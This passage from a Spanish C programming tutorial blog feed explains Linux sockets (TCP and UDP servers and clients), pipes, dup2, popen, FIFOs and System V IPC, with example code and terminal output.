<p>El primero de ellos es el socket, y el segundo es el número máximo de conexiones a la espera que puede contener la cola de peticiones. Después de poner el puerto a la escucha, aceptamos conexiones pendientes mediante la llamada a la función accept(). Esta función saca de la cola de peticiones una conexión y crea un nuevo socket para tratarla. Recordemos qué sucede cuando llamamos al número de información de Telefónica: marcamos el número (connect()) y como hay alguien atento a coger el teléfono (listen()), se acepta nuestra llamada que pasa a la espera (en función del backlog de listen() puede que nos informen de que todas las líneas están ocupadas). Después de tener que escuchar una horrible sintonía, se nos asigna un telefonista (accept()) que atenderá nuestra llamada. Cuando se nos ha asignado ese telefonista, en realidad estamos hablando ya por otra línea, porque cualquier otra persona puede llamar al número de información de Telefónica y la llamada no daría la señal de comunicando. Nuestro servidor puede aceptar varias peticiones (tantas como indiquemos en el backlog de listen()) y luego cuando aceptemos cada una de ellas, se creará una línea dedicada para esa petición (un nuevo socket por el que hablar). Veamos un ejemplo con todo esto:</p>
<pre>#define PUERTO 80

int mi_socket, nuevo, tam;
struct sockaddr_in mi_estructura;

mi_estructura.sin_family = AF_INET;
mi_estructura.sin_port = htons( PUERTO );
mi_estructura.sin_addr.s_addr = INADDR_ANY;
memset( &amp;(mi_estructura.sin_zero), ‘’, 8 );

mi_socket = socket( AF_INET, SOCK_STREAM, 0 );

tam = sizeof( struct sockaddr );

bind( mi_socket, (struct sockaddr *)&amp;mi_estructura, tam );

listen( mi_socket, 5 );

while( 1 ) // bucle infinito para tratar conexiones
{
  nuevo = accept( mi_socket, (struct sockaddr *)&amp;mi_estructura,
           &amp;tam );
  if( fork() == 0 )
  { // hijo
    close( mi_socket ); // El proceso hijo no lo necesita
    send( nuevo, "200 Bienvenido\n", 15, 0);
    close( nuevo );
    exit( 0 );
  } else { // padre
    close( nuevo );  // El proceso padre no lo necesita
  }
}</pre>
<p>Lo más extraño de este ejemplo puede ser el bucle “while”, todo lo demás es exactamente igual que en anteriores ejemplos. Veamos ese bucle: lo primero de todo es aceptar una conexión de las que estén pendientes en el backlog de conexiones. La llamada a accept() nos devolverá el nuevo socket creado para atender dicha petición. Creamos un proceso hijo que se encargue de gestionar esa petición mediante fork(). Dentro del hijo cerramos el socket inicial, ya que no lo necesitamos, y enviamos “200 Bienvenido\n” por el socket nuevo. Cuando hayamos terminado de atender al cliente, cerramos el socket con close() y salimos. En el proceso padre cerramos el socket “nuevo”, ya que no lo utilizaremos desde este proceso. Este bucle se ejecuta indefinidamente, ya que nuestro servidor deberá atender las peticiones de conexión indefinidamente.</p>
<p>Ya hemos visto cómo cerrar un socket, utilizando la llamada estándar close(), como con cualquier fichero. Esta función cierra el descriptor de fichero del socket, liberando el socket y denegando cualquier envío o recepción a través del mismo. Si quisiéramos tener más control sobre el cierre del socket podríamos usar la función shutdown():</p>
<pre>int shutdown(int s, int how);</pre>
<p>En el parámetro “how” indicamos cómo queremos cerrar el socket:</p>
<ul>
<li>0: No se permite recibir más datos.</li>
<li>1: No se permite enviar más datos.</li>
<li>2: No se permite enviar ni recibir más datos (lo mismo que close()).</li>
</ul>
<p>Esta función no cierra realmente el descriptor de fichero del socket, sino que modifica sus condiciones de uso, es decir, no libera el recurso. Para liberar el socket después de usarlo, deberemos usar siempre close().</p>
<h4>Ejemplos con sockets de tipo stream</h4>
<h5>Servidor</h5>
<p>He aquí el código de ejemplo de un servidor sencillo TCP:</p>
<pre>#include &lt;unistd.h&gt;
#include &lt;stdio.h&gt;
#include &lt;string.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;netinet/in.h&gt;
#include &lt;arpa/inet.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;sys/socket.h&gt;

int main( int argc, char *argv[] )
{
  int mi_socket, nuevo, tam;
  struct sockaddr_in mi_estructura;

  mi_estructura.sin_family = AF_INET;
  mi_estructura.sin_port = 0;
  mi_estructura.sin_addr.s_addr = INADDR_ANY;
  memset( &amp;(mi_estructura.sin_zero), '', 8 );

  mi_socket = socket( AF_INET, SOCK_STREAM, 0 );

  tam = sizeof( struct sockaddr );

  bind( mi_socket, (struct sockaddr *)&amp;mi_estructura, tam );

  listen( mi_socket, 5 );

  while( 1 ) // bucle infinito para tratar conexiones
  {
    nuevo = accept( mi_socket,
                   (struct sockaddr *)&amp;mi_estructura, &amp;tam);
    if( fork() == 0 )
    { // hijo
      close( mi_socket ); // El proceso hijo no lo necesita
      send( nuevo, "200 Bienvenido\n", 15, 0 );
      close( nuevo );
      exit( 0 );
    } else { // padre
      close( nuevo );  // El proceso padre no lo necesita
    }
  }

  return 0;
}</pre>
<p>Un ejemplo de su ejecución:</p>
<pre>txipi@neon:~$ gcc servertcp.c -o servertcp
txipi@neon:~$ ./servertcp &amp;
<a href="http://blog.txipinet.com/index.php/2006/11/05/1">1</a> 419
txipi@neon:~$ netstat -pta
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address  Foreign Address         State
PID/Program name

tcp        0      0 *:www          *:*                    LISTEN
-
tcp        0      0 *:46101        *:*                    LISTEN
419/servertcp

txipi@neon:~$ telnet localhost 46101
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
200 Bienvenido
Connection closed by foreign host.</pre>
<p>Al haber indicado como número de puerto el 0, ha elegido un número de puerto aleatorio de entre los posibles (de 1024 a 65535, ya que sólo root puede hacer bind() sobre los puertos “bajos”, del 1 al 1024).</p>
<h5>Cliente</h5>
<p>He aquí el código de ejemplo de un simple cliente TCP:</p>
<pre>#include &lt;unistd.h&gt;
#include &lt;stdio.h&gt;
#include &lt;string.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;netinet/in.h&gt;
#include &lt;arpa/inet.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;sys/socket.h&gt;

#define SIZE 255

int main(int argc, char *argv[])
{
  int mi_socket, tam, numbytes;
  char buffer[SIZE];
  struct sockaddr_in mi_estructura;

  if( argc != 3 )
  {
    printf( "error: modo de empleo: clienttcp ip puerto\n" );
    exit( -1 );
  }

  mi_estructura.sin_family = AF_INET;
  mi_estructura.sin_port = htons( atoi( argv[2] ) );
  inet_aton( argv[1], &amp;(mi_estructura.sin_addr) );
  memset( &amp;(mi_estructura.sin_zero), '', 8 ); 

  mi_socket = socket( AF_INET, SOCK_STREAM, 0);
  tam = sizeof( struct sockaddr );
  connect( mi_socket, (struct sockaddr *)&amp;mi_estructura, tam );

  numbytes = recv( mi_socket, buffer, SIZE-1, 0 );
  buffer[numbytes] = '';
  printf( "%d bytes recibidos\n", numbytes );
  printf( "recibido: %s\n", buffer );

  close( mi_socket );
  return 0;
}</pre>
<p>Veámoslo en funcionamiento:</p>
<pre>txipi@neon:~/programacion$ gcc clienttcp.c -o clienttcp
txipi@neon:~/programacion$ ./clienttcp 127.0.0.1 46105
15 bytes recibidos
recibido: 200 Bienvenido</pre>
<h4>Ejemplos con sockets de tipo datagrama</h4>
<h5>Servidor</h5>
<p>He aquí el código de ejemplo de un servidor sencillo UDP:</p>
<pre>#include &lt;unistd.h&gt;
#include &lt;stdio.h&gt;
#include &lt;string.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;netinet/in.h&gt;
#include &lt;arpa/inet.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;sys/socket.h&gt;

#define PUERTO 5000
#define SIZE 255

int main(int argc, char *argv[])
{
  int mi_socket, tam, numbytes;
  char buffer[SIZE];
  struct sockaddr_in mi_estructura;

  mi_estructura.sin_family = AF_INET;
  mi_estructura.sin_port = htons( PUERTO );
  mi_estructura.sin_addr.s_addr = INADDR_ANY;
  memset( &amp;(mi_estructura.sin_zero), '', 8);

  mi_socket = socket( AF_INET, SOCK_DGRAM, 0);
  tam = sizeof( struct sockaddr );
  bind( mi_socket, (struct sockaddr *)&amp;mi_estructura, tam );

  while( 1 ) // bucle infinito para tratar conexiones
  {
    numbytes = recvfrom( mi_socket, buffer, SIZE-1, 0, (struct sockaddr *)&amp;mi_estructura, &amp;tam );
    buffer[numbytes] = '';
    printf( "serverudp: %d bytes recibidos\n", numbytes );
    printf( "serverudp: recibido: %s\n", buffer );
  }

  close( mi_socket );

  return 0;
}</pre>
<p>El puerto a la escucha se define con la constante PUERTO, en este caso tiene el valor 5000. Con “netstat –upa” podemos ver que realmente está a la escucha:</p>
<pre>txipi@neon:~$ netstat -upa
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address    Foreign Address       State       PID/Program name
udp        0      0 *:talk           *:*                   -
udp        0      0 *:ntalk          *:*                   -
udp        0      0 *:5000           *:*                    728/serverudp</pre>
<h5>Cliente</h5>
<p>He aquí el código de ejemplo de un simple cliente UDP:</p>
<pre>#include &lt;unistd.h&gt;
#include &lt;stdio.h&gt;
#include &lt;string.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;netinet/in.h&gt;
#include &lt;arpa/inet.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;sys/socket.h&gt;

#define SIZE 255

int main(int argc, char *argv[])
{
  int mi_socket, tam, numbytes;
  char buffer[SIZE];
  struct sockaddr_in mi_estructura;

  if( argc != 3 )
  {
    printf( "error: modo de empleo: clienttcp ip puerto\n" );
    exit( -1 );
  }

  mi_estructura.sin_family = AF_INET;
  mi_estructura.sin_port = htons( atoi( argv[2] ) );
  inet_aton( argv[1], &amp;(mi_estructura.sin_addr) );
  memset( &amp;(mi_estructura.sin_zero), '', 8 );

  mi_socket = socket( AF_INET, SOCK_DGRAM, 0);

  tam = sizeof( struct sockaddr );

  strcpy( buffer, "Hola mundo telematico!\n" );
  numbytes = sendto( mi_socket, buffer, strlen(buffer), 0, (struct sockaddr *)&amp;mi_estructura, tam );
  printf( "clientudp: %d bytes enviados\n", numbytes );
  printf( "clientudp: enviado: %s\n", buffer );

  strcpy( buffer, "Este es otro paquete.\n" );
  numbytes = sendto( mi_socket, buffer, strlen(buffer), 0, (struct sockaddr *)&amp;mi_estructura, tam );
  printf( "clientudp: %d bytes enviados\n", numbytes );
  printf( "clientudp: enviado: %s\n", buffer );

  close( mi_socket );

  return 0;
}</pre>
<p>Veámoslo en funcionamiento:</p>
<pre>txipi@neon:~$ gcc clientudp.c -o clientudp
txipi@neon:~$ ./clientudp 127.0.0.1 5000
clientudp: 23 bytes enviados
clientudp: enviado: Hola mundo telematico!

clientudp: 22 bytes enviados
clientudp: enviado: Este es otro paquete.

serverudp: 23 bytes recibidos
serverudp: recibido: Hola mundo telematico!

serverudp: 22 bytes recibidos
serverudp: recibido: Este es otro paquete.</pre>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/txipi.wordpress.com/52/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/txipi.wordpress.com/52/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/txipi.wordpress.com/52/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/txipi.wordpress.com/52/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/txipi.wordpress.com/52/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/txipi.wordpress.com/52/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/txipi.wordpress.com/52/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/txipi.wordpress.com/52/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/txipi.wordpress.com/52/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/txipi.wordpress.com/52/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/txipi.wordpress.com/52/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/txipi.wordpress.com/52/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.txipinet.com&blog=2249633&post=52&subd=txipi&ref=&feed=1" />]]></content:encoded>
			<wfw:commentRss>http://blog.txipinet.com/2006/11/05/49-curso-de-programacion-en-c-para-gnu-linux-viii/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/b31cc813fcd79e9a170a88884fadb89d?s=96&#38;d=identicon&#38;r=X" medium="image">
			<media:title type="html">txipi</media:title>
		</media:content>

		<media:content url="http://txipi.files.wordpress.com/2007/12/cursoc09.gif" medium="image">
			<media:title type="html">cursoc09.gif</media:title>
		</media:content>
	</item>
		<item>
		<title>Curso de programación en C para GNU/Linux (VII)</title>
		<link>http://blog.txipinet.com/2006/11/05/48-curso-de-programacion-en-c-para-gnu-linux-vii/</link>
		<comments>http://blog.txipinet.com/2006/11/05/48-curso-de-programacion-en-c-para-gnu-linux-vii/#comments</comments>
		<pubDate>Sun, 05 Nov 2006 16:43:02 +0000</pubDate>
		<dc:creator>txipi</dc:creator>
				<category><![CDATA[Informática]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[curso]]></category>
		<category><![CDATA[gcc]]></category>
		<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[programación]]></category>

		<guid isPermaLink="false">http://txipi.wordpress.com/2006/11/05/curso-de-programacion-en-c-para-gnu-linux-vii/</guid>
		<description><![CDATA[En la pasada entrega utilizamos la forma más rudimentaria de comunicación entre procesos: las señales. Esta vez vamos a analizar una manera mucho más provechosa de comunicar datos entre procesos: las tuberías. También hablaremos de los mecanismos IPC de comunicación entre procesos, pero no lo haremos con tanto detalle O:-)

&#160;
Tuberías
Las tuberías o “pipes” simplemente conectan [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.txipinet.com&blog=2249633&post=51&subd=txipi&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<p>En la <a href="http://blog.txipinet.com/index.php/2006/11/03/47-curso-de-programacion-en-c-para-gnu-linux-vi">pasada entrega</a> utilizamos la forma más rudimentaria de comunicación entre procesos: las señales. Esta vez vamos a analizar una manera mucho más provechosa de comunicar datos entre procesos: las tuberías. También hablaremos de los mecanismos IPC de comunicación entre procesos, pero no lo haremos con tanto detalle O:-)</p>
<p><span id="more-51"></span></p>
<p class="post-content">&nbsp;</p>
<h4>Tuberías</h4>
<p>Las tuberías o “pipes” simplemente conectan la salida estándar de un proceso con la entrada estándar de otro. Normalmente las tuberías son de un solo sentido, imaginemos lo desagradable que sería que estuviéramos utilizando un lavabo y que las tuberías fueran bidireccionales, lo que emanaran los desagües sería bastante repugnante. Por esta razón, las tuberías suelen ser “half-duplex”, es decir, de un único sentido, y se requieren dos tuberías “half-duplex” para hacer una comunicación en los dos sentidos, es decir “full-duplex”. Las tuberías son, por tanto, flujos unidireccionales de bytes que conectan la salida estándar de un proceso con la entrada estándar de otro proceso.</p>
<p>Cuando dos procesos están enlazados mediante una tubería, ninguno de ellos es consciente de esta redirección, y actúa como lo haría normalmente. Así pues, cuando el proceso escritor desea escribir en la tubería, utiliza las funciones normales para escribir en la salida estándar. Lo único especial que sucede es que el descriptor de fichero que está utilizando ya no corresponde al terminal (ya no se escriben cosas por la pantalla), sino que se trata de un fichero especial que ha creado el núcleo. El proceso lector se comporta de forma muy similar: utiliza las llamadas normales para recoger valores de la entrada estándar, solo que ésta ya no se corresponde con el teclado, sino que será el extremo de la tubería. Los procesos están autorizados a realizar lecturas no bloqueantes de la tubería, es decir, si no hay datos para ser leídos o si la tubería está bloqueada, se devolverá un error. Cuando ambos procesos han terminado con la tubería, el inodo de la tubería es desechado junto con la página de datos compartidos.</p>
<p>El uso de un pipe a mí me recuerda a los antiguos “teléfonos” que hacíamos mi hermana y yo con dos envases de yogur y una cuerda muy fina. Uníamos los fondos de los yogures con la cuerda, y cuando ésta estaba muy tensa, al hablar por un yogur, se escuchaba en la otra parte. Era un método divertido de contar secretos, pero tenía el mismo inconveniente que los pipes: si uno de los dos estaba hablando, el otro no podía hacerlo al mismo tiempo o no valía para nada. Era una comunicación unidireccional, al contrario de lo que pasa con los teléfonos modernos:</p>
<p><a href="http://txipi.files.wordpress.com/2007/12/cursoc06.gif" title="cursoc06.gif"><img src="http://txipi.files.wordpress.com/2007/12/cursoc06.gif?w=500" alt="cursoc06.gif" /></a></p>
<p>Una tubería es unidireccional, como los teléfonos de yogur.</p>
<p>La utilización de tuberías mediante el uso de la shell es “el pan nuestro de cada día”, cualquier administrador de sistemas medianamente preparado encadena comandos y comandos mediante tuberías de forma natural:</p>
<pre>txipi@neon:~$ cat /etc/passwd | grep bash | wc –lines
     11</pre>
<p>Los comandos “cat”, “grep” y “wc” se lanzan en paralelo y el primero va “alimentando” al segundo, que posteriormente “alimenta” al tercero. Al final tenemos una salida filtrada por esas dos tuberías. Las tuberías empleadas son destruidas al terminar los procesos que las estaban utilizando.</p>
<p>Utilizar tuberías en C es también bastante sencillo, si bien a veces es necesario emplear lápiz y papel para no liarse con tanto descriptor de fichero. Ya vimos anteriormente que para abrir un fichero, leer y escribir en él y cerrarlo, se empleaba su descriptor de fichero. Una tubería tiene en realidad dos descriptores de fichero: uno para el extremo de escritura y otro para el extremo de lectura. Como los descriptores de fichero de UNIX son simplemente enteros, un pipe o tubería no es más que un array de dos enteros:</p>
<pre>int tuberia[2];</pre>
<p>Para crear la tubería se emplea la función pipe(), que abre dos descriptores de fichero y almacena su valor en los dos enteros que contiene el array de descriptores de fichero. El primer descriptor de fichero es abierto como O_RDONLY, es decir, sólo puede ser empleado para lecturas. El segundo se abre como O_WRONLY, limitando su uso a la escritura. De esta manera se asegura que el pipe sea de un solo sentido: por un extremo se escribe y por el otro se lee, pero nunca al revés. Ya hemos dicho que si se precisa una comunicación “full-duplex”, será necesario crear dos tuberías para ello.</p>
<pre>int tuberia[2];

pipe(tuberia);</pre>
<p>Una vez creado un pipe, se podrán hacer lecturas y escrituras de manera normal, como si se tratase de cualquier fichero. Sin embargo, no tiene demasiado sentido usar un pipe para uso propio, sino que se suelen utilizar para intercambiar datos con otros procesos. Como ya sabemos, un proceso hijo hereda todos los descriptores de ficheros abiertos de su padre, por lo que la comunicación entre el proceso padre y el proceso hijo es bastante cómoda mediante una tubería. Para asegurar la unidireccionalidad de la tubería, es necesario que tanto padre como hijo cierren los respectivos descriptores de ficheros. En la siguiente figura vemos cómo un proceso padre puede enviarle datos a su hijo a través de una tubería. Para ello el proceso padre cierra el extremo de lectura de la tubería, mientras que el proceso hijo cierra el extremo de escritura de la misma:</p>
<p><a href="http://txipi.files.wordpress.com/2007/12/cursoc07.gif" title="cursoc07.gif"><img src="http://txipi.files.wordpress.com/2007/12/cursoc07.gif?w=500" alt="cursoc07.gif" /></a></p>
<p>El proceso padre y su hijo comparten datos mediante una tubería.</p>
<p>La tubería “p” se hereda al hacer el fork() que da lugar al proceso hijo, pero es necesario que el padre haga un close() de p[0] (el lado de lectura de la tubería), y el hijo haga un close() de p[1] (el lado de escritura de la tubería). Una vez hecho esto, los dos procesos pueden emplear la tubería para comunicarse (siempre unidireccionalmente), haciendo write() en p[1] y read() en p[0], respectivamente. Veamos un ejemplo de este tipo de situación:</p>
<pre>#include &lt;sys/types.h&gt;
#include &lt;fcntl.h&gt;
#include &lt;unistd.h&gt;
#include &lt;stdio.h&gt;

#define SIZE 512

int main( int argc, char **argv )
{
  pid_t pid;
  int p[2], readbytes;
  char buffer[SIZE];

  pipe( p );

  if ( (pid=fork()) == 0 )
  { // hijo
    close( p[1] ); /* cerramos el lado de escritura del pipe */

    while( (readbytes=read( p[0], buffer, SIZE )) &gt; 0)
      write( 1, buffer, readbytes );

    close( p[0] );
  }
  else
  { // padre
    close( p[0] ); /* cerramos el lado de lectura del pipe */

    strcpy( buffer, "Esto llega a traves de la tuberia\n" );
    write( p[1], buffer, strlen( buffer ) );

    close( p[1] );
  }
  waitpid( pid, NULL, 0 );
  exit( 0 );
}</pre>
<p>La salida de este programa no es muy espectacular, pero muestra el funcionamiento del mismo: se crean dos procesos y uno (el padre) le comunica un mensaje al otro (el hijo) a través de una tubería. El hijo al recibir el mensaje, lo escribe por la salida estándar (hace un write() en el descriptor de fichero 1). Por último cierran los descriptores de ficheros utilizados, y el padre espera al hijo a que finalice:</p>
<pre>txipi@neon:~$ gcc pipefork.c –o pipefork
txipi@neon:~$ ./pipefork
Esto llega a traves de la tuberia</pre>
<p>Veamos ahora cómo implementar una comunicación bidireccional entre dos procesos mediante tuberías. Como ya hemos venido diciendo, será preciso crear dos tuberías diferentes (a[2] y b[2]), una para cada sentido de la comunicación. En cada proceso habrá que cerrar descriptores de ficheros diferentes. Vamos a emplear el pipe a[2] para la comunicación desde el padre al hijo, y el pipe b[2] para comunicarnos desde el hijo al padre. Por lo tanto, deberemos cerrar:</p>
<ul>
<li>En el padre:
<ul>
<li>el lado de lectura de a[2].</li>
<li>el lado de escritura de b[2].</li>
</ul>
</li>
<li>En el hijo:
<ul>
<li>el lado de escritura de a[2].</li>
<li>el lado de lectura de b[2].</li>
</ul>
</li>
</ul>
<p>Tal y como se puede ver en la siguiente figura:</p>
<p><a href="http://txipi.files.wordpress.com/2007/12/cursoc08.gif" title="cursoc08.gif"><img src="http://txipi.files.wordpress.com/2007/12/cursoc08.gif?w=500" alt="cursoc08.gif" /></a></p>
<p>Dos procesos se comunican bidireccionalmente con dos tuberías.</p>
<p>El código anterior se puede modificar para que la comunicación sea bidireccional:</p>
<pre>#include &lt;sys/types.h&gt;
#include &lt;fcntl.h&gt;
#include &lt;unistd.h&gt;
#include &lt;stdio.h&gt;

#define SIZE 512

int main( int argc, char **argv )
{
  pid_t pid;
  int a[2], b[2], readbytes;
  char buffer[SIZE];

  pipe( a );
  pipe( b );

  if ( (pid=fork()) == 0 )
  { // hijo
    close( a[1] ); /* cerramos el lado de escritura del pipe */
    close( b[0] ); /* cerramos el lado de lectura del pipe */

    while( (readbytes=read( a[0], buffer, SIZE ) ) &gt; 0)
      write( 1, buffer, readbytes );
    close( a[0] );

    strcpy( buffer, "Soy tu hijo hablandote por
            la otra tuberia.\n" );
    write( b[1], buffer, strlen( buffer ) );
    close( b[1] );
  }
  else
  { // padre
    close( a[0] ); /* cerramos el lado de lectura del pipe */
    close( b[1] ); /* cerramos el lado de escritura del pipe */

    strcpy( buffer, "Soy tu padre hablandote
            por una tuberia.\n" );
    write( a[1], buffer, strlen( buffer ) );
    close( a[1]);

    while( (readbytes=read( b[0], buffer, SIZE )) &gt; 0)
      write( 1, buffer, readbytes );
    close( b[0]);
  }
  waitpid( pid, NULL, 0 );
  exit( 0 );
}</pre>
<p>La salida de este ejemplo es también bastante simple:</p>
<pre>txipi@neon:~$ dospipesfork.c -o dospipesfork
txipi@neon:~$ ./dospipesfork
Soy tu padre hablandote por una tuberia.
Soy tu hijo hablandote por la otra tuberia.</pre>
<p>Avancemos en cuanto a conceptos teóricos. La función dup() duplica un descriptor de fichero. A simple vista podría parecer trivial, pero es muy útil a la hora de utilizar tuberías. Ya sabemos que inicialmente, el descriptor de fichero 0 corresponde a la entrada estándar, el descriptor 1 a la salida estándar y el descriptor 2 a la salida de error estándar. Si empleamos dup() para duplicar alguno de estos descriptores en uno de los extremos de una tubería, podremos realizar lo mismo que hace la shell cuando enlaza dos comandos mediante una tubería: reconducir la salida estándar de un proceso a la entrada estándar del siguiente. El prototipo de la función dup() es el siguiente:</p>
<pre>int dup(int oldfd);
int dup2(int oldfd, int newfd);</pre>
<p>La función dup() asigna el descriptor más bajo de los disponibles al descriptor antiguo, por lo tanto, para asignar la entrada estándar a uno de los lados de un pipe es necesario cerrar el descriptor de fichero 0 justo antes de llamar a dup():</p>
<pre>close( 0 );
dup( p[1] );</pre>
<p>Como dup() duplica siempre el descriptor más bajo disponible, si cerramos el descriptor 0 justo antes de llamarla, ese será el descriptor que se duplique. Para evitar líos de cerrar descriptores con vistas a ser duplicados y demás, se creo dup2(), que simplemente recibe los dos descriptores de fichero y los duplica:</p>
<pre>dup2( p[1], 0 );</pre>
<p>El siguiente ejemplo emplea estas llamadas para concatenar la ejecución de dos comandos, “cat” y “wc”. El proceso hijo realiza un “cat” de un fichero, y lo encamina a través de la tubería. El proceso padre recibe ese fichero por la tubería y se lo pasa al comando “wc” para contar sus líneas:</p>
<pre>#include &lt;sys/types.h&gt;
#include &lt;fcntl.h&gt;
#include &lt;unistd.h&gt;
#include &lt;stdio.h&gt;

#define COMMAND1 "/bin/cat"
#define COMMAND2 "/usr/bin/wc"

int main( int argc, char **argv )
{
  pid_t pid;
  int p[2];

  pipe(p);

  if ( (pid=fork()) == 0 )
  { // hijo
    close(p[0]); /* cerramos el lado de lectura del pipe */
    dup2(p[1], 1); /* STDOUT = extremo de salida del pipe */
    close(p[1]); /* cerramos el descriptor de fichero que sobra
                         tras el dup2 */

    execlp(COMMAND1, COMMAND1, argv[1], NULL);

    perror("error"); /* si estamos aquí, algo ha fallado */
    _exit(1); /* salir sin flush */
  }
  else
  { // padre
    close(p[1]); /* cerramos el lado de escritura del pipe */
    dup2(p[0], 0); /* STDIN = extremo de entrada del pipe */
    close(p[0]); /* cerramos el descriptor de fichero que sobra
                         tras el dup2 */

    execlp(COMMAND2, COMMAND2, NULL);

    perror("error"); /* si estamos aqui, algo ha fallado */
    exit(1); /* salir con flush */
  }

  return 0;
}</pre>
<p>La salida de este programa es bastante predecible, el resultado es el mismo que encadenar el comando “cat” del fichero pasado por parámetro, con el comando “wc”:</p>
<pre>txipi@neon:~$ gcc pipecommand.c -o pipecommand
txipi@neon:~$ ./pipecommand pipecommand.c
     50     152     980
txipi@neon:~$ cat pipecommand.c | wc
     50     152     980</pre>
<p>Como vemos, las llamadas a comandos y su intercomunicación mediante tuberías puede ser un proceso bastante lioso, aunque se utiliza en multitud de ocasiones. Es por esto que se crearon las llamadas popen() y pclose(). Mediante popen() tenemos todo el trabajo sucio reducido a una sola llamada que crea un proceso hijo, lanza un comando, crea un pipe y nos devuelve un puntero a fichero para poder utilizar la salida de ese comando como nosotros queramos. La definición de estas funciones es la siguiente:</p>
<pre>FILE *popen(const char *command, const char *type);
int pclose(FILE *stream);</pre>
<p>El siguiente código es una muestra clara de cómo se puede hacer una llamada utilizando tuberías y procesos hijo, de forma sencillísima:</p>
<pre>#include &lt;unistd.h&gt;
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;fcntl.h&gt;
#include &lt;limits.h&gt;

#define SIZE PIPE_BUF

int main(int argc, char *argv[])
{
  FILE *file;
  char *command= "ls .";
  char buffer[SIZE];

  file=popen( command, "r" );

  while( !feof( file ) )
  {
    fscanf( file, "%s", &amp;buffer );
    printf( "%s\n", buffer );
  }

  pclose( file );

  return 0;
}</pre>
<p>Nuestro programa simplemente crea un proceso hijo que será reemplazado por una llamada al comando “ls .”, y se nos devolverá un puntero a un fichero que será el resultado de ese comando. Leemos ese fichero y lo escribimos por pantalla. Al finalizar, cerramos la tubería con pclose(). La salida de este programa, es esta:</p>
<pre>txipi@neon:~$ gcc popen.c -o popen
txipi@neon:~$ ./popen
dospipesfork
dospipesfork.c
pipecommand
pipecommand.c
pipefork
pipefork.c
popen
popen.c</pre>
<p>Linux también soporta tuberías con nombre, denominadas habitualmente FIFOs, (First in First out) debido a que las tuberías funcionan como una cola: el primero en entrar es el primero en salir. A diferencia de las tuberías sin nombre, los FIFOs no tiene carácter temporal sino que perduran aunque dos procesos hayan dejado de usarlos. Para crear un FIFO se puede utilizar el comando “mkfifo“ o bien llamar a la función de C mkfifo():</p>
<pre>int mkfifo(const char *pathname, mode_t mode);</pre>
<p>Esta función recibe dos parámetros: “pathname” indica la ruta en la que queremos crear el FIFO, y “mode” indica el modo de acceso a dicho FIFO. Cualquier proceso es capaz de utilizar un FIFO siempre y cuando tengan los privilegios necesarios para ello. No nos extenderemos más en la creación de tuberías con nombre ya que su manejo es bastante similar a lo visto hasta ahora.</p>
<h3>IPC System V</h3>
<h4>Colas de mensajes</h4>
<p>Mediante las colas de mensajes un proceso puede escribir mensajes que podrán ser leídos por uno o más procesos diferentes. En GNU/Linux este mecanismo está implementado mediante un array de colas de mensajes, msgque. Cada posición de este array es una estructura de tipo msgid_ds que gestionará la cola mediante punteros a los mensajes introducidos en ella. Estas colas, además, controlan cuándo fue la última vez que se escribió en ellas, y proporcionan dos colas de espera: una para escritores de la cola y otra para lectores de la cola.</p>
<p>Cuando un proceso escribe un mensaje en la cola de escritura, éste se posiciona al final de la misma (tiene una gestión FIFO) si es que existe espacio suficiente para ser albergado (Linux limita el número y tamaño de los mensajes para evitar ataques de Denegación de Servicio). Previo a cualquier escritura, el sistema comprueba si realmente el proceso está autorizado para escribir en la cola en cuestión, comparando las credenciales del proceso con los permisos de la cola. Asimismo, cuando un proceso quiere leer de esa cola, se realiza una comprobación similar, para evitar que procesos no autorizados lean mensajes importantes. Si un proceso desea leer un mensaje de la cola y no existe ningún mensaje del tipo deseado, el proceso se añadirá a la cola de espera de lectura y se cambiará de contexto para que deje de estar activo.</p>
<p>La implementación práctica en C de colas de mensajes queda fuera del alcance de este curso O:-)</p>
<h4>Semáforos</h4>
<p>Un semáforo es un mecanismo del sistema para evitar la colisión cuando dos o más procesos necesitan un recurso. Los semáforos IPC reflejan bastante fielmente la definición clásica de Dijkstra, realmente son variables enteras con operaciones atómicas de inicialización, incremento y decremento con bloqueo. Cada semáforo es un contador que se inicializa a un determinado valor. Cuando un proceso hace uso del recurso asignado a ese semáforo, el contador se decrementa una unidad. Cuando ese proceso libera el recurso, el contador del semáforo se incrementa. Así pues, el contador de un semáforo siempre registra el número de procesos que pueden utilizar el recurso actualmente. Dicho contador puede tener valores negativos, si el número de procesos que precisan el recurso es mayor al número de procesos que pueden ser atendidos simultáneamente por el recurso.</p>
